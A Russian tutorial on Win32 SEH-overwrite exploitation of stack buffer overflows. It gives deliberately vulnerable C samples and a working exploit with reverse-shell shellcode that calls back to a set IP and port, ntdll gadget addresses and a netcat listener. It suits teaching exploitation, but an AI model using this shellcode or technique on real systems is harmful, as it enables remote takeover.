Эксплуатирование SEH в среде Win32. Часть первая.

Эксплуатирование SEH в среде Win32. Часть первая.

В этой статье рассматриваются достаточно специфические уязвимости, связанные с подменой обработчика исключений (SEH), которые успешно применяются как при переполнении буфера в стеке, так и при переполнении кучи. Первая (данная статья) затрагивает немного теорию обработчиков исключений и методы получения контроля над приложением при переполнении буфера в стеке посредством перезаписи SEH-фрейма. Вторая часть будет посвящена переполнению кучи и тому, как можно подменить фильтр необработанных исключений и тем самым внедрить свой код. А в третьей статье я расскажу, как с помощью SEH можно обойти механизм защиты стека от переполнения, который применяется в Windows 2003 Server.
4892 просмотра за 1 неделю

4892 просмотра за 1 неделю

Переполнение буфера в стеке.

(c) houseofdabus

В этой статье рассматриваются достаточно специфические уязвимости, связанные с подменой обработчика исключений (SEH), которые успешно применяются как при переполнении буфера в стеке, так и при переполнении кучи.

Меня немного расстроило то, что на эту тему нет ни одной русскоязычной статьи, а все англоязычные статьи рассматривают эту тему очень кратко, поэтому я решил написать целых три статьи посвященные эксплуатированию SEH.

Первая (данная статья) затрагивает немного теорию обработчиков исключений и методы получения контроля над приложением при переполнении буфера в стеке посредством перезаписи SEH-фрейма.

Вторая часть будет посвящена переполнению кучи и тому, как можно подменить фильтр необработанных исключений и тем самым внедрить свой код.

А в третьей статье я расскажу, как с помощью SEH можно обойти механизм защиты стека от переполнения, который применяется в Windows 2003 Server.

Чтобы не было расхождений, все примеры, которые рассматриваются в статье, стоит компилировать с помощью MS VC++ 6.0 или lcc-win32.

Что такое SEH?

SEH - это сокращение от Structured Exception Handling и переводится как структурная обработка исключения. Исключение - это событие к которому приводит ненормальное (неправильное) поведение кода, например, исключение, возникает при обращение к невыделенной области памяти (и как следствие возникает нарушение доступа) или при делении на нуль.

Исключения бывают двух типов:

  • Аппаратные, которые генерирует (возбуждает) процессор;
  • Программные, которые могут генерировать операционная система или приложение.

У каждого исключения есть свой код, их определения можно посмотреть в файлах winbase.h и winnt.h. Например, исключение, связанное с нарушением доступа имеет следующее определение и код:

#define EXCEPTION_ACCESS_VIOLATION       STATUS_ACCESS_VIOLATION
#define STATUS_ACCESS_VIOLATION          ((DWORD   )0xC0000005L)

Любое исключение, как аппаратное, так и программное, можно обработать.

Ниже представлен синтаксис обработчика исключения:

__try {
	// защищенный код,
	// который помещается в SEH-фрейм
}
__except (фильтр исключений) {
	// обработчик исключений
}

Если при выполнении кода из блока __try {...}, возникнет исключение, то операционная система перехватит его и приступит к поиску блока __except. Найдя его, она передаст управление фильтру исключений. Фильтр исключений может получить код исключения и на основе этого кода принять решение, передать управление обработчику или же сказать системе, чтобы она искала предыдущий по вложенности блок __except. Фильтр исключений может возвращать одно из трех значений (идентификаторов), которые определены в файле excpt.h:

EXCEPTION_EXECUTE_HANDLER       1
EXCEPTION_CONTINUE_SEARCH       0
EXCEPTION_CONTINUE_EXECUTION   -1

Идентификатор EXCEPTION_EXECUTE_HANDLER говорит системе, что для этого блока __try есть обработчик исключения и он готов обработать это исключение.

Идентификатор EXCEPTION_CONTINUE_SEARCH говорит системе, чтобы она искала

предыдущий по вложенности блок __except, а идентификатор EXCEPTION_CONTINUE_EXECUTION говорит ей, чтобы она снова продолжала выполнение с того места кода, который вызвал исключение.

Рассмотрим пример с обработчиком исключений:

<except.c>
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

void
except_sample()
{
	__try {
		printf("start of __try\r\n");

		// возбуждаем исключение
		*(char *)0 = 0;

		// этот кусок кода никогда не выполнится
		printf("end of __try\r\n");
	}
	__except (EXCEPTION_EXECUTE_HANDLER) {
		printf("!!! exception !!!\r\n");
	}

	printf("end of except_sample\r\n");
}

int
main(int argc, char **argv)
{

	except_sample();

	printf("end of main\r\n");


return 0;
}

C:\samples>except.exe
start of __try
!!! exception !!!
end of except_sample
end of main

C:\samples>

В этом примере в качестве фильтра исключения мы сразу подставляем идентификатор EXCEPTION_EXECUTE_HANDLER, тем самым мы перехватываем все исключения, которые могут возникнуть при выполнении кода из блока __try {...}.

Помимо обработчиков исключения есть еще не менее важная вещь – обработчик завершения. Смысл его в том, что независимо от того, что произойдет в защищенном участке кода, обработчик завершения будет выполнен. Его синтаксис выглядит следующим образом:

__try {
	// защищенный код

}
_finally {
	// обработчик завершения

}

Другими словами, вне зависимости от того выполнится защищенный код целиком без ошибок или все же произойдет ошибка (исключение), обработчик завершения получит управление.

Главное отличие обработчика завершения от обработчика исключения заключается в том, что фильтры и обработчики исключений получают управление непосредственно от операционной системы и нагрузка на компилятор минимальна.

Теперь посмотрим, как операционная система находит обработчики исключений и как передает им управление.

Каждый защищенный блок кода, получив управление, прописывает свой обработчик в специальную область, называемую TIB (Thread Information Block), и при этом сохраняет старый обработчик. Происходит это следующим образом:

В TIB по смещению 0 отведена специальная область для сохранения адреса текущего фильтра исключений. Компилятор перед защищенным блоком вставляет специальный код, приблизительно следующего вида:

   push   _Handler     ; помещаем в стек адрес нашего фильтра
   mov    eax, FS:[0]  ; записаваем в eax адрес структуры 
                       ; предыдущего обработчика
   push   eax          ; записываем его в стек
   mov    FS:[0], esp  ; устанавливаем в TIB адрес нашей структуры

Этот код формирует в стеке структуру (SEH-фрейм) вида

struct EXCEPTION_REGISTRATION
{
   EXCEPTION_REGISTRATION *prev;
   DWORD *handler;
};

В этой структуре указывается адрес предыдущей (по вложенности) структуры и адрес фильтра. Таким образом, формируется цепочка структур обработчиков исключений, как показано на рис.1.

Рис.1. Цепочка структур EXCEPTION_REGISTRATION.

Каждый последующий вложенный защищенный блок кода добавляет свое звено в эту цепочку. И наоборот, когда защищенный блок кода завершает свою работу он убирает свое звено из цепочки и сдвигает указатель в TIB (тоже самое делает и обработчик, если произошло исключение). Вот почему это называется структурной обработкой исключений.

Теперь посмотрим, что делает система, когда генерируется исключение.

Сразу после того, как система перехватила исключение, она просматривает TIB потока, в котором произошло это исключение и начинает последовательно по цепочке передавать управление фильтрам. Если какой-то из фильтров исключений возвращает идентификатор EXCEPTION_EXECUTE_HANDLER, то дальше происходит так называемая глобальная раскрутка (global unwind). Глобальная раскрутка приводит к продолжению обработки всех вложенных блоков try-finally (обработчиков завершения), выполнение которых началось вслед за блоком try-except, и только после этого управление получает сам обработчик исключений.

И так, мы теперь знаем, что происходит при возникновении исключения и кем и как обработчик запускается. Знаем, что для каждого потока устанавливается свой SEH. А что произойдет, если исключение возникло, но обрабатывать его некому (необработанное исключение)?

Необработанное исключение

Для того чтобы понять, что такое необработанное исключение, рассмотрим классическую уязвимость переполнения буфера в стеке:


<simple1.c>
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

void
vuln(char *ptr)
{
	char buf[16];

	strcpy(buf, ptr);
}

int
main(int argc, char **argv)
{
	char buf2[128];

	memset(buf2, 0x41, 128);
	buf2[32] = '\0';

	vuln(buf2);

	printf("end of main\r\n");


return 0;
}

Как мы видим, в функции vuln копируется строка по указателю ptr в локальный буфер buf, без проверки на размер. Передав этой функции строку, размером больше 16 байт, мы тем самым выходим за пределы буфера и затираем соседние данные в стеке. В стеке выше буфера buf находятся сохраненные регистры ebp и eip (рис.2), т.е. выходя за пределы буфера, мы можем затереть сохраненные ebp и адрес возврата eip нашими данными.

Рис. 2. Состояние стека перед вызовом strcpy.

Скомпилируем sample1.c и посмотрим, что произойдет при выполнении:

C:\samples>sample1.exe

Рис. 3. Необработанное исключение.

В нашем примере при копировании строки размером 32 байта происходит переполнение буфера buf и как следствие затирание сохраненного адреса возврата eip. После этого функция vuln заканчивает свое выполнение, очищает стек от локальных переменных и выходит (эпилог функции):

	mov esp, ebp
	pop ebp
	ret

Т.к. сохраненный адрес возврата после переполнения теперь принял значение 0x41414141, то выполнение программы продолжается с этого адреса (т.е. с 0x41414141). Этот адрес не имеет отображение на физическую память (т.е. память не выделена), поэтому процессор генерирует исключение.

Дальше начинается самое интересное.

Операционная система перехватывает его и выбирает в потоке текущий фильтр исключений и передает ему управление.

Но в нашем примере нет фильтра исключений, кто же тогда выполняется?

Дело в том, что при создании любого процесса к нему сразу добавляется обработчик исключений (фильтр) UnhandledExceptionFilter. Так называемый, фильтр необработанных исключений, который является самым верхним обработчиком (TOP SEH) для всех потоков процесса. В нашем случае, так как у нас нет своих обработчиков, то ему и передается управление. Этот обработчик сохраняет контекст процесса и выводит сообщение об ошибке (рис.3), которое говорит нам что:

"Инструкция по адресу "0x41414141" обратилась к памяти

по адресу "0x41414141". Память не может быть "read".".

Если нажать "ОК", то процесс завершится, а если "Отмена", то UnhandledExceptionFiler запустит отладчик и подключит его к процессу.

Примечание: отладчик прописывается в реестре, в разделе

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AeDebug

SEH фрейм

Добавим теперь в функцию vuln обработчик исключений и посмотрим что произойдет:

<seh1.c>
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

void
vuln(char *ptr)
{
	char buf[16];

	__try {
		printf("start of strcpy\r\n");
		strcpy(buf, ptr);
		printf("end of strcpy\r\n");
	}
	__except (EXCEPTION_EXECUTE_HANDLER) {
		printf("exception\r\n");
	}

	printf("end of vuln\r\n");
}

int
main(int argc, char **argv)
{
	char buf2[128];

	memset(buf2, 0x41, 128);
	buf2[32] = '\0';

	vuln(buf2);

	printf("end of main\r\n");


return 0;
}


C:\samples>seh1.exe
start of strcpy
end of strcpy
end of vuln
end of main

C:\samples>

Как не странно никакого исключения не произошло, функция vuln скопировала строку в буфер и успешно возвратила управление функции main. Посмотрим состояние стека перед вызовом strcpy (рис.4).

Рис.4. Состояние стека перед вызовом strcpy.

Как мы видим, состояние стека изменилось. Теперь между буфером buf и сохраненными регистрами ebp и eip добавились блоки SEH-frame и блок с адресом вершины стека.

Блок SEH-frame есть ни что иное, как структура EXCEPTION_REGISTRATION, о которой рассказывалось ранее, с двумя дополнительными полями, которые добавил компилятор. Первое поле ID необходимо для раскрутки (unwind) и в самом первом звене цепочки SEH оно принимает значение 0xFFFFFFFF, и сигнализирует об окончании, т.е. является признаком последнего звена. Каждая последующая функция, которая имеет обработчик исключений, устанавливают ID в 0, и увеличивает это значение на единицу с каждым последующим вложенным блоком __try.

Следующее поле, которое на рисунке обозначено как *pointer, является указателем на область памяти, в которой содержится структура вида

long ID        - принимает значение 0xFFFFFFFF
	long *pointer1
	long *pointer2

Этой структурой оперирует фильтр исключений.

Указатель poiner1 содержит адрес блока кода, который возвращает одно из трех значений идентификатора фильтра исключений (EXCEPTION_EXECUTE_HANDLER, EXCEPTION_CONTINUE_SEARCH или EXCEPTION_CONTINUE_EXECUTION). Следующий указатель (pointer2) указывает на начало блока обработчика исключений.

Последующие поля *Handler и *prev_Handler указывают соответственно на фильтр исключений и на предыдущий SEH-фрейм.

Чтобы разобраться в этом более детально посмотрим, какой код генерирует компилятор.

функция vuln (все значения в hex виде):

push      ebp       ; стандартный пролог
	mov       ebp,esp   ; функций

	push      0FF       ; устанавливаем ID
	push      0004050A8 ; записываем *pointer
	push      00040121C ; и адрес фильтра исключений

	mov       eax,fs:[000000000] ; извлекаем из TIB адрес
                                   ; предыдущего SEH-фрейма
	push      eax                ; и сохраняем его в стеке
	mov       fs:[000000000],esp ; Устанавливаем в TIB
                                   ; адрес нашего SEH-фрейма

	sub       esp,018            ; Выделяем в стеке
                                   ; 8 байт для сохранения esp (*)
                                   ; + область для буфера buf

	push      ebx                ; сохраняем регистры ebx,
	push      esi                ; esi и
	push      edi                ; edi

	mov       [ebp][-0018],esp   ; сохраняем esp в заранее
                                     ; отведенную область в стеке cм.(*)

	mov       d,[ebp][-0004],000000000 ; устанавливаем ID в 0

      ; printf("start of strcpy\r\n");
	push      00040605C ; записываем адрес строки 
	call      _printf   ; вызываем printf

      ; strcpy(buf, ptr);
	push      d,[ebp][00008] ; ptr
	push      d,[ebp][-0028] ; buf
	call      _strcpy        ; вызываем strcpy

      ; printf("end of strcpy\r\n");
	push      00040604C ; записываем адрес строки
	call      _printf   ; вызываем printf

	add       esp,010   ; очищаем стек от параметров
			        ; сдвигаем вершину стека на 16

      ; если все прошло успешно, то
	jmps      $LABEL1   ; переходим к окончанию
                          ; блока try-except



; *pointer1

	mov       eax,000000001 ; возвращаем идентификатор
	retn                    ; EXCEPTION_EXECUTE_HANDLER

; *pointer2
; код обработчика исключений ( блок __except() {...} )
	mov       esp,[ebp][-0018] ; восстанавливаем состояние стека
                                 ; см. (*)

      ; printf("exception\r\n");
	push      000406040        ; записываем адрес строки
	call      _printf          ; вызываем printf
	add       esp,004          ; очищаем стек от параметров



; конец блока try-except
$LABEL1:

	mov       d,[ebp][-0004],0FFFFFFFF ; восстанавливаем ID

      ; printf("end of vuln\r\n");
	push      000406030 ; записываем адрес строки
	call      _printf   ; вызываем printf
	add       esp,004   ; очищаем стек от параметров

	mov       ecx,[ebp][-0010]   ; берем адрес предыдущего
                                   ; SEH-фрейма
	mov       fs:[000000000],ecx ; и сохраняем его в TIB

	pop       edi      ; восстанавливаем регистры edi,
	pop       esi      ; esi
	pop       ebx      ; и ebx

      ; эпилог функции
	mov       esp,ebp                      
	pop       ebp                          
	retn                       

Теперь вернемся к нашему примеру (seh1.c) и посмотрим что произошло.

Функция strcpy, копируя строку размером 32 байта, вышла за пределы буфера и затерла данные, которые находились выше буфера - это блок с сохраненным регистром esp и 8 байт из SEH-фрейма, поэтому никакого исключения и не произошло.

Вот теперь мы подошли к самому интересному.

Очевидно, что, переполняя буфер, мы можем изменять SEH-фрейм так, как захотим. Например, мы может изменить/подменить адрес фильтра исключений и через исключение передать ему управление.

Подмена SEH-фрейма

Многие, наверное, спросят, а зачем так усложнять ситуацию, если можно воспользоваться старым классическим методом подмены адреса возврата?

Дело в том, что код уязвимой функции может быть намного сложнее, например, если функция vuln будет принимать не один параметр, а два:

void vuln(char *ptr, char *ptr2)
{
        ...
	__try {
               ...
               strcpy(buf, ptr);
               // что-то делаем с данными
               ...
               strcpy(ptr2, buf);
               ...
        }
        __except (...) {
               ...
        }

...
}

В этом случае, переполнив буфер, мы затираем помимо адреса возврата еще и указатели ptr и ptr2 и второй вызов функции strcpy приведет к генерации исключения, поэтому выход из функции может не произойти должным образом. Конечно, мы можем попытаться подобрать адрес выделенной области памяти необходимых размеров, у которой есть права на запись, но это будет очень не стабильный вариант или не такой универсальный.

Теперь приступим к практической части, для этого немного изменим наш пример:

<seh2.c>
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

void
vuln(char *ptr, char *ptr2)
{
	char buf[16];

	__try {
		printf("start of strcpy\r\n");
		strcpy(buf, ptr);

		// делаем что-то с данными в буфере
		// ...

		// возбуждаем исключение
		*(char *)0 = 0;

		strcpy(ptr2, ptr);
		printf("end of strcpy\r\n");
	}
	__except(EXCEPTION_EXECUTE_HANDLER) {
		printf("exception\r\n");
	}

	printf("end of vuln\r\n");
}

void
secfunc(void)
{
	printf("good job!\r\n");
	exit(0);
}

int
main(int argc, char **argv)
{
	unsigned char buf2[128];
	unsigned char *tmpptr;

	void (*ptrfunc)();

	// узнаем адрес функции secfunc
	ptrfunc = secfunc;
	printf("ptrfunc = %p\r\n", ptrfunc);

	memset(buf2, 0x41, 128);

	// если компилятор MS VC++
	buf2[32] = 0x00;

	// если компилятор lcc-win32
	// buf2[36] = 0x00;

	tmpptr = (unsigned char*)ptrfunc;

	// если компилятор MS VC++
	memcpy(buf2+28, &tmpptr, 4);

	// если вы используете компилятор, lcc-win32,
	// то смещение нужно увеличить на 4
	// memcpy(buf2+32, &tmpptr, 4);

	Sleep(3000);
	vuln(buf2, buf2);

	printf("end of main\r\n");

return 0;
}

Для начала попробуем что-то попроще, например, подменить адрес фильтра исключений на адрес функции secfunc() и вызвать исключение для того, чтобы подмененный фильтр выполнился.

Для этого, во-первых, узнаем адрес функции secfunc():

	void (*ptrfunc)();
	ptrfunc = secfunc;

А во вторых, сформируем строку, которой мы будем переполнять буфер и подменять фильтр исключений, эта строка будет иметь размер в 32 байта (без учета нуля на конце):

AAAA...AAAAA - 28 байт
<адрес функции secfunc>

Посмотрим что получится:

C:\samples>seh2.exe
ptrfunc = 004010D0
start of strcpy
good job!

C:\samples>

Все получилось, как мы и задумывали.

Но это был совсем простой пример, теперь рассмотрим более жизненный пример - попробуем записать в стек какой-нибудь код и передать ему управление.

Тут и возникает вопрос, как передать нашему коду управление?

Первое что приходит на ум - это перезаписать адрес фильтра исключения на адрес инструкции jmp esp или call esp. Но, проверив это на деле, я так и не добился нужного результата. Покопавшись с отладчиком, я заметил, что состояние стека изменяется и что самое печальное, при возникновении исключения изменяется и указатель на стек.

Но решение этой проблемы все же есть, и оно было найдено. Дело в том, что при передачи управления фильтру исключений в регистр ebx записывается адрес текущего SEH-фрейма (т.е. адрес поля *prev_Handler, см. рис. 4). Поэтому, чтобы передать управление нашему коду, нужно:

1) Перезаписать адрес фильтра в SEH-фрейме адресом инструкции jmp ebx или call ebx.

2) Перезаписать поле *prev_Handler на которое указывает регистр ebx инструкцией jmps <смещение>, чтобы перескочить поле *Handler (адрес фильтра).

3) Записать нужный код после поля *Handler.

4) Вызвать исключение, чтобы управление передалось фильтру.

Еще одна проблема была выявлена при тестировании этого метода в операционной

системе Windows XP. В отличие от Windows 2000, в XP, перед тем как передать управление фильтру исключений, очищаются все регистры и в том числе ebx. И ни один из регистров явным образом не указывает на SEH-фрейм. Видимо Microsoft таким образом решила повысить безопасность своих продуктов. Проведя некоторое время за отладчиком, мне удалось решить и эту проблему.

Адрес SEH-фрейма был найден в стеке и на момент вызова фильтра исключений он находится по адресу esp+8. В этом случае нам достаточно найти адрес инструкций pop reg, pop reg, ret и перезаписать им адрес фильтра в SEH-фрейме. А все остальное проделать так же, как описано в пунктах 2, 3 и 4.

Теперь опробуем все это на деле.

<sehexpl.c>
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <winsock.h>

#pragma comment(lib, "ws2_32")

// revers shellcode
// подгружает ws2_32.dll
unsigned char shellcode[508]=
"\x55\x8B\xEC\xEB\x03\x5B\xEB\x05\xE8\xF8\xFF\xFF\xFF\xBE\xFF\xFF"
"\xFF\xFF\x81\xF6\xDC\xFE\xFF\xFF\x03\xDE\x33\xC0\x50\x50\x50\x50"
"\x50\x50\x50\x50\x50\x50\xFF\xD3\x50\x68\x61\x72\x79\x41\x68\x4C"
"\x69\x62\x72\x68\x4C\x6F\x61\x64\x54\xFF\x75\xFC\xFF\x55\xF4\x89"
"\x45\xF0\x83\xC3\x63\x83\xC3\x5D\x33\xC9\xB1\x4E\xB2\xFF\x30\x13"
"\x83\xEB\x01\xE2\xF9\x43\x53\xFF\x75\xFC\xFF\x55\xF4\x89\x45\xEC"
"\x83\xC3\x10\x53\xFF\x75\xFC\xFF\x55\xF4\x89\x45\xE8\x83\xC3\x0C"
"\x53\xFF\x55\xF0\x89\x45\xF8\x83\xC3\x0C\x53\x50\xFF\x55\xF4\x89"
"\x45\xE4\x83\xC3\x0C\x53\xFF\x75\xF8\xFF\x55\xF4\x89\x45\xE0\x83"
"\xC3\x0C\x53\xFF\x75\xF8\xFF\x55\xF4\x89\x45\xDC\x83\xC3\x08\x89"
"\x5D\xD8\x33\xD2\x66\x83\xC2\x02\x54\x52\xFF\x55\xE4\x33\xC0\x33"
"\xC9\x66\xB9\x04\x01\x50\xE2\xFD\x89\x45\xD4\x89\x45\xD0\xBF\x0A"
"\x01\x01\x26\x89\x7D\xCC\x40\x40\x89\x45\xC8\x66\xB8\xFF\xFF\x66"
"\x35\xFF\xCA\x66\x89\x45\xCA\x6A\x01\x6A\x02\xFF\x55\xE0\x89\x45"
"\xE0\x6A\x10\x8D\x75\xC8\x56\x8B\x5D\xE0\x53\xFF\x55\xDC\x83\xC0"
"\x44\x89\x85\x58\xFF\xFF\xFF\x83\xC0\x5E\x83\xC0\x5E\x89\x45\x84"
"\x89\x5D\x90\x89\x5D\x94\x89\x5D\x98\x8D\xBD\x48\xFF\xFF\xFF\x57"
"\x8D\xBD\x58\xFF\xFF\xFF\x57\x33\xC0\x50\x50\x50\x83\xC0\x01\x50"
"\x83\xE8\x01\x50\x50\x8B\x5D\xD8\x53\x50\xFF\x55\xEC\xFF\x55\xE8"
"\x60\x33\xD2\x83\xC2\x30\x64\x8B\x02\x8B\x40\x0C\x8B\x70\x1C\xAD"
"\x8B\x50\x08\x52\x8B\xC2\x8B\xF2\x8B\xDA\x8B\xCA\x03\x52\x3C\x03"
"\x42\x78\x03\x58\x1C\x51\x6A\x1F\x59\x41\x03\x34\x08\x59\x03\x48"
"\x24\x5A\x52\x8B\xFA\x03\x3E\x81\x3F\x47\x65\x74\x50\x74\x08\x83"
"\xC6\x04\x83\xC1\x02\xEB\xEC\x83\xC7\x04\x81\x3F\x72\x6F\x63\x41"
"\x74\x08\x83\xC6\x04\x83\xC1\x02\xEB\xD9\x8B\xFA\x0F\xB7\x01\x03"
"\x3C\x83\x89\x7C\x24\x44\x8B\x3C\x24\x89\x7C\x24\x4C\x5F\x61\xC3"
"\x90\x90\x90\xBC\x8D\x9A\x9E\x8B\x9A\xAF\x8D\x90\x9C\x9A\x8C\x8C"
"\xBE\xFF\xFF\xBA\x87\x96\x8B\xAB\x97\x8D\x9A\x9E\x9B\xFF\xFF\xA8"
"\x8C\xCD\xA0\xCC\xCD\xD1\x9B\x93\x93\xFF\xFF\xA8\xAC\xBE\xAC\x8B"
"\x9E\x8D\x8B\x8A\x8F\xFF\xFF\xA8\xAC\xBE\xAC\x90\x9C\x94\x9A\x8B"
"\xBE\xFF\xFF\x9C\x90\x91\x91\x9A\x9C\x8B\xFF\x9C\x92\x9B\xFF\xFF"
"\xFF\xFF\xFF\xFF";


void
vuln(char *ptr, char *ptr2)
{
	char buf[16];

	__try {
		printf("start of strcpy\r\n");
		strcpy(buf, ptr);

		// делаем что-то с данными в буфере
		// ...

		// После переполнения буфера указатели
		// ptr и ptr2 затираются и при обращении
		// к ним возникает исключение
		strcpy(ptr2, ptr);
		//strcpy(ptr2, buf);
		printf("end of strcpy\r\n");
	}
	__except(EXCEPTION_EXECUTE_HANDLER) {
		printf("exception\r\n");
	}

	printf("end of vuln\r\n");
}


int
main(int argc, char **argv)
{
// jmpaddr:
// 0x77F86656 call ebx      (ntdll.dll) - Win2k Pro SP4 + ms04011
// 0x77FAAE17 push ebx, ret (ntdll.dll) - Win2k Pro SP4 + ms04011

// 0x77F92A9B jmp ebx       (ntdll.dll) - Win2k Pro/Adv SP4
// 0x77F95365 jmp ebx       (ntdll.dll) - Win2k Pro/Adv SP4

// ntdll.dll
// 0x77F555FE pop reg, pop reg, ret - WinXP SP0
// 0x77F61598 pop reg, pop reg, ret - WinXP SP0
// 0x77F5565E pop reg, pop reg, ret - WinXP SP1
// 0x77F6181E pop reg, pop reg, ret - WinXP SP1

	char jmpaddr[8] = "\x56\x66\xF8\x77"; // 0x77F86656;
	char short_jump[8] = "\xEB\x06\x90\x90";
	unsigned short port = 9191; // порт
	unsigned int ip = inet_addr("192.168.1.210"); // IP
	char *portptr = "";
	char *ipptr = "";

	// если компилятор MS VC++
	unsigned char buf2[1024] = "AAAAAAAAAAAAAAAAAAAAAAAA";

	// если компилятор lcc-win32, то +4 байта
	//unsigned char buf2[1024] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAA";

	unsigned char dummybuf[1024];

	port = htons(port);
	port = port^0xFFFF;
	portptr = (char *) &port;
	shellcode[209] = portptr[0];
	shellcode[210] = portptr[1];

	ipptr = (char *) &ip;

	shellcode[191] = ipptr[0];
	shellcode[192] = ipptr[1];
	shellcode[193] = ipptr[2];
	shellcode[194] = ipptr[3];

	strcat(buf2, short_jump);
	strcat(buf2, jmpaddr);
	strcat(buf2, shellcode);
	strcat(buf2, "\x00");

	vuln(buf2, dummybuf);

	printf("end of main\r\n");

return 0;
}

Сначала запускаем netcat:

C:\samples\nc>nc.exe -l -p 9191

Потом запускаем sehexpl, который сам же себя эксплуатирует:

C:\samples>sehexpl.exe
start of strcpy

C:\samples>

После этого, если все параметры были установлены правильно (IP адрес, порт и jmp адрес), то мы получим shell:

C:\samples\nc>nc.exe -l -p 9191
Microsoft Windows 2000 [Версия 5.00.2195]
(С) Корпорация Майкрософт, 1985-2000.

C:\samples>

Заключение

В заключение хочу предложить вам для самостоятельного изучения мой эксплоит HOD-ms04011-lsasrv-expl.c, в котором успешно применяется данный метод для атаки сервиса LSASS системы Windows 2000.

(c) houseofdabus

[at inbox dot ru]

Учебный центр "Информзащита" http://www.itsecurity.ru - ведущий специализированный центр в области обучения информационной безопасности (Лицензия Московского Комитета образования № 015470, Государственная аккредитация № 004251). Единственный авторизованный учебный центр компаний Internet Security Systems и Clearswift на территории России и стран СНГ. Авторизованный учебный центр компании Microsoft (специализация Security). Программы обучения согласованы с Гостехкомиссией России, ФСБ (ФАПСИ). Свидетельства об обучении и государственные документы о повышении квалификации.

Компания SoftKey – это уникальный сервис для покупателей, разработчиков, дилеров и аффилиат–партнеров. Кроме того, это один из лучших Интернет-магазинов ПО в России, Украине, Казахстане, который предлагает покупателям широкий ассортимент, множество способов оплаты, оперативную (часто мгновенную) обработку заказа, отслеживание процесса выполнения заказа в персональном разделе, различные скидки от магазина и производителей ПО.

SOC как супергерой: не спит, не ест, следит за безопасностью!

И мы тоже не спим, чтобы держать вас в курсе всех угроз

Подключитесь к экспертному сообществу!